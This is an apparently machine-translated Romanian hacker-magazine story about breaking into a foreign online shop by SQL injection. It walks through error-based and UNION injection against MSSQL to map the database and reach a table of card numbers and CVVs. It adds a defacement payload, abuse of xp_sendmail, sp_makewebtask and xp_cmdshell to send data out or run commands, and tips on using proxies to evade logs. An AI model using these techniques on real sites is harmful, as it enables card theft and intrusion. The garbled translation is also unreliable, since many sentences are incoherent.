Fiodor Mihailovici
Mulți au auzit despre hacking de magazine online. Ca unii hacker răuvoitoare pentru a sparge prin apărarea impenetrabil a serverului, furtul toate informațiile utile, a devenit un multi-milionar și a fost plecat. E o poveste frumoasă. Pentru a înțelege cum se întâmplă în realitate, am decis să cerem o persoană să spună despre astfel de lucruri. Din motive evidente, să dezvăluie el însuși nu a făcut, și sa prezentat ca Fiodor Mihailovici. Iată ce a spus el. Atenție! Toate informațiile ulterioare sunt date doar pentru îndrumare. Nu-l repeta în practică! Să mergem.
Citind articole despre cardare, probabil că deja mai mult de o dată întrebat cum hackerii obține aceste numere se răcească de carduri de credit străine. De fapt, știm cum: de la compromis magazinele online. Cu toate acestea, ceva îmi spune că cei mai mulți dintre cititorii înșiși reprezintă prost procesul de a lua credit de la magazinul online. Pentru cel puțin un pic pentru a clarifica situatia, voi vorbi despre activitatea desfășurată recent de mine spargerea unui e-shop străine.
S-ar părea că e-commerce - o afacere profitabilă, orice scurgere de informații ar putea pune în pericol pierderi serioase aici, pierderea reputației și contacte de afaceri. Mai surprinzător este faptul că multe organizații nu acordă suficientă atenție securității propriilor lor sisteme, pentru care, în cele din urmă, și să plătească.
La început a fost cuvântul
Când caută vulnerabilități în orice script-uri atacator, fără a avea codul sursă al acestor programe, de obicei încearcă să modifice parametrii de script-ul, script-ul a oprit executarea de urgență și a adus cel puțin unele informații. Pentru a face acest lucru, trebuie să aveți o idee despre sistemul de fier vechi. În acest exemplu, un magazin online toate informațiile despre produs este de obicei stocate într-o bază de date. Prin urmare, atunci când utilizatorul introduce o anumită secțiune a magazinului, script-ul selectează din produsele și dreapta afișează tabel aceste informații pentru utilizator. Pentru acest scenariu, parametrul este trecut pentru a indica produse de orice secțiune de interes pentru vizitator. De multe ori, o astfel de variabilă este numele distinctiv al „sategory“, „cid“ sau „CatID“. M-am mutat pe site-urile gasite batjocoritoare cu cruzime scripturi - substituit o toate opțiunile posibile valori special concepute. Unele programe destul de sincer am fost trimis, unele oferit pentru a încerca din nou mai târziu :). Toate acestea nu se potrivi cu mine, a fost nevoie de script-ul meu, care se termină cu o eroare și dă-mi aceste informații. Deci, după aproximativ o oră de căutare, am dat peste un astfel de magazin: după ce am pus un singur citat după opțiunea „ProductCode“, scenariul a declarat următoarele: „ghilimelele neîncheiată înainte de șirul de caractere«780 422-S»si Stock> = 0 “. /path/to/script.asp, linia 15“. Ok, acest lucru este clientul nostru! Cititorul experimentat va exclama: „Da, acest lucru este sql-injecție!“ Asta e :) corect. Putem doar ghici ce programatorii se gândeau la proiectarea sistemului. Deși nu se grăbesc? Poate că nimic substanțial de această problemă într-adevăr nu reușesc? Acum verificăm. Un moment rău deja - magazin ruleaza pe asp, și cu limba, eu încă nu am avut o relație foarte strânsă, cu toate că ceea ce există, sql-injecție, chiar și în Africa sql-injectare.
Faptul rămâne. Pentru a trece mai departe, am nevoie de informații complete și exacte cu privire la numele și structura tuturor tabelelor bazei de date. La urma urmei, atâta timp cât eu nu știu nimic! În cele mai multe cazuri pe care le-am văzut, eu sunt cu ușurință să obțină astfel de informații de mesaje de eroare, dar nu de data asta. Am fost alpinism pe site-ul, care lucrează cu o varietate de script-uri, dar nu am reușit să - datele de ieșire au fost prea zgârcit. Deja în disperare, mi-am amintit brusc că informațiile despre numele tuturor tabelelor și câmpurile din MSSQL stocate într-un fel de structura sistemului, numele pe care nu am amintesc. Găsiți rapid documentele relevante, am aflat că informațiile despre toate tabelele stocate în INFORMATION_SCHEMA.TABLES, câmpuri tabele INFA - în INFORMATION_SCHEMA.COLUMNS. Ok, acum era necesar să se extragă într-un fel informațiile necesare. Dar iată cum se face? Gândul a venit la cap, la o dată banal act, prin intermediul unor propuneri ale Uniunii pentru a încerca să combine producția proprie cerere să fie tratată ca un flux programator - în acest caz, programul îmi va arăta tot ce aveam nevoie. Cu toate acestea, cum să-l pună în aplicare fără să știe absolut nimic despre structura și chiar numele sistemului de masă fier vechi. (Este un cerc vicios ca banc vechi :. driverul de modem la CD-ul, dar pe CD-ROM - pe internet în speranța de a obține noroc, am decis să acționeze printr-o selecție bont - poate ceva va veni în minte în acest proces, sau în mod neașteptat pop-up unele informații suplimentare Ok, trage: .. 1234 „unire selectați nume_tabelă din script INFORMATION_SCHEMA.TABLES jura :.«Toate interogările într-o instrucțiune SQL care conține un operator union trebuie să aibă un număr egal de expresii în listele lor țintă»script-ul se plânge că, în fluxul Unite nu se potrivește cu numărul de câmpuri, care nu și-au ar trebui să nu bine, nu prea rău -. acum Expand Numărul de mii de domenii selectabile de solicitare a doua, mai devreme sau mai târziu voi face pentru a elimina această eroare și, evident, pentru a primi un prieten, care se va jura pe tipul nepotrivire de câmpuri îmbinate. Cel puțin eu știu numărul de coloana selectabilă prima interogare. Am adăugat oa doua solicitare de către un câmp până după 7 încercări nu au primit vestea cea bună: „eroare de sintaxă de conversie valoarea nvarchar«AAAZZZZ»într-o coloană de tip de date int“. Pur și simplu super! Script-ul a adus un mesaj care nu a putut fi convertit „AAAZZZZ“ valoare de caractere la un întreg. Și tu ce „AAAZZZZ“ știu? Acesta este numele unuia dintre tabelele din baza de date!
L-am ales din structura sistemului de a doua solicitare, care, în mod natural, nu a putut fi lipit de primul, dar încă, am primit ceea ce am vrut - informații despre numele unuia dintre tabele. Ok, acum, modificarea cererii, am pescuit din informațiile de bază de date cu privire la toate tabelele sistemului! Am concurat 1234 „uniune selectați table_name. (de 7 ori) de la comanda INFORMATION_SCHEMA.TABLES prin nume_tabelă unde nume tabel> „AAAZZZZ“. Acesta este modul în care am primit informații despre toate tabelele bazei de date. Sincer, din cauza informațiilor primite de interes în site-ul a crescut de mai multe ori (în special interesat de plăți de masă :)), dar chiar și mai confuz, deoarece baza a fost de aproximativ o sută de mese, doar un fel de structuri de benă malosvyazannyh. Acum, pentru a lega împreună într-un fel informațiile obținute, este necesar să se extragă informații cu privire la toate domeniile de tabele de interes. Permiteți-mi să vă reamintesc, aceste informații sunt stocate în INFORMATION_SCHEMA.COLUMNS, în cazul în care column_name - numele câmpului, column_type - tipul și nume_tabelă - numele tabelului. Alegerea dreptul de informații descrise mai sus de recepție, am primit informația despre structura tuturor structurilor site-ului - ma serios interesat de o rfPayments placă, așa cum au fost câmpuri cu titlul intrigant „CreditCardNumber“, „CVV“, „CardHolderAddress“ etc. Acum, am ajuns foarte aproape de problema extragerii informațiilor necesare din baza de date, trebuie să fie urgent, deoarece întreaga masa pompei cu credit!
Ai putea foarte ușor zadefeysit site-ul, pentru că am știut despre structura tuturor tabelelor și să efectueze orice anchete. Dar a apărut întrebarea cu privire la fezabilitatea acestor acțiuni. În primul rând, dezvăluind public fapt de hacking, am provoca daune directe la reputația magazinului, pe care nu am nevoie. În al doilea rând, în cazul în care prosechet cip admin, creditul va deveni în curând nevalabil. În plus, voi pierde o mare platformă pentru cc de colectare permanentă - pentru că achizițiile magazin sunt realizate pe o bază de zi cu zi, respectiv, tabelul împrumutului actualizat. Din tot ce a urmat că veți deteriora nu am nevoie. Dar m-am gândit, cum acest lucru se poate face. Pagina de start conține informații despre produse care sunt vândute cel mai bine. Aceste date sunt selectate din tabelul rfProducts - în consecință, dacă vom schimba descrierea mărfurilor pe ceva de genul „lt img src = hack.ru / hacked.jpg width = 500 height = 600 GȚ „apoi pe pagina de start va fi o grămadă de imagini frumoase, cu voinici Granulație și alte“ de tocat ...“.
Desigur, cardare prietenul meu și nu am făcut. Mai mult decât atât, am șters informațiile primite de pe card de credit și administratorul de sistem a scris o scrisoare în care a vorbit în detaliu despre vulnerabilitățile și metodele de rezolvare a acestora - ca răspuns, cum era de așteptat, tăcerea. Un bug este încă de lucru. Putem doar ghici ce s-ar întâmpla în cazul în care informațiile cu privire la plățile cad în mâinile josnice de fraudă electronică.
Caracteristici cool MSSQL
serverul MSSQL oferă utilizatorului o mulțime de caracteristici suplimentare care pot fi utilizate de hackeri:
1. sp_makewebtask „\\ parts \ fisier.txt“, „interogarea MSSQL“ - pune rezultatul interogării „interogare mssql“ într-un fișier text care poate fi localizat pe un server de la distanță, precum și în sistemul de fișiere al mașinii locale. Funcția are un număr de chips-uri suplimentare, dar acestea sunt de puțin interes pentru noi - sunt folosite pentru o prezentare mai vizuală a rezultatelor.
2. xp_sendmail „[email protected]“, „selectați * din tabelul“ - trimite rezultatul interogării la oficiul poștal. Functia are, de asemenea, un număr de parametri suplimentari, acestea sunt foarte detaliate în MSDN, documentele pe această temă veți găsi pe CD-ul nostru.
3. xp_cmdshell 'dir c:' - execută cmd comenzi shell la un server de la distanță. Cu această funcție, puteți face o mulțime de lucruri utile, totul depinde de imaginatia ta. Cele mai multe sunt spargatori degerate, de exemplu, transporta o grămadă de fișiere de sistem - cu excepția cazului, desigur, drepturile sql de utilizator sunt suficiente în acest scop.
În efectuarea unor astfel de experimente să fie atent! Știu că în timpul nostru severă puteți obține coarnele doar pentru a fi plasat într-unul dintre parametrii de script-ul valoarea admin rău - el poate fi interpretat ca tentative de intruziune, și furnizorii de servicii Internet, de obicei, în astfel de cazuri, nu ezitați să vă deconectați. De ce faci probleme inutile? Utilizați un proxy anonim. Zilnic lista de proxy actualizat veți găsi aici: www.samair.ru/proxy/. De asemenea, nu uitați că, prin utilizarea vulnerabilitatea unui atacator rar avea acces la fișiere-jurnal. Prin urmare, încercați să verificați cu atenție cererile trimise la server nu pentru a efectua aceeași procedură de mai multe ori, crescând probabilitatea de a găsi acțiunile dumneavoastră de către administratorul de sistem. Fii atent.
Într-una dintre cele mai apropiate de camere, așteptați pentru materialul de pe punerea în aplicare a atacului sql-injectare pentru o varietate de servere de baze de date, inclusiv Oracle și Postgres.
Întreaga istorie conținută în articol este de fapt o parte din noua arta romanului Dostoievski și nu pământești realitatea irelevantă. Toate drepturile rezervate.